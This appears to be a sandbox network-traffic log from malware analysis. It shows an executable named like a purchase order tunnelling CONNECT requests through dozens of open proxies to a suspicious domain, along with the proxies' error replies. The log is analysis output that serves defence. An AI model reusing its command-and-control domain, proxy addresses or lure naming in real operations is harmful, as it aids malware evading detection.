Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.951911926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.10	53918	103.148.51.19	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.957534075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.10	53599	123.241.210.123	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.959758997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973567963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.989094973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.989197016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.082571983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.176940918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.176393032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:04.176364899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:52.207705975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.10	54583	38.54.116.9	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.961380005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.10	54772	162.159.242.252	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.964566946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.125571012 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.10	54777	172.67.250.212	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.964791059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.118824959 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.10	54640	54.36.122.16	39713	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.966996908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801407099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909661055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.911122084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.708178043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.548991919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.10	54884	45.144.30.232	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.967747927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.10	54885	45.144.30.232	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.968831062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.10	54888	45.144.30.232	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.971177101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1523	192.168.2.10	54891	45.144.30.232	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.972131014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.10	54628	79.110.202.131	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.972338915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.10	54642	8.217.143.187	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.972934961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.10	54784	45.14.174.148	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.973714113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.130023003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.10	54656	20.206.106.192	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.985131025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.678215981 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:55 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.10	54708	160.153.245.187	5436	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.992376089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.801512957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.708069086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598583937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411115885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.10	50954	207.180.234.220	48963	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.994095087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.082695961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.176666975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.176810026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.10	50874	51.83.184.241	9191	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.996612072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.412667990 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.10	54644	46.47.197.210	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:51.998228073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.785964966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786684036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.801678896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.786077976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.786094904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.786151886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.785698891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:31.785660028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:40.131545067 CET	536	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:40:39 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3774 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from host X-Cache-Lookup: NONE from host:3128 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e d0 9e d0 a8 d0 98 d0 91 d0 9a d0 90 3a 20 d0 97 d0 b0 d0 bf d1 80 d0 be d1 88 d0 b5 d0 bd d0 bd d1 8b d0 b9 20 55 52 4c 20 d0 bd d0 b5 20 d0 bc d0 be d0 b6 d0 b5 d1 82 20 d0 b1 d1 8b d1 82 d1 8c 20 d0 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>: URL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
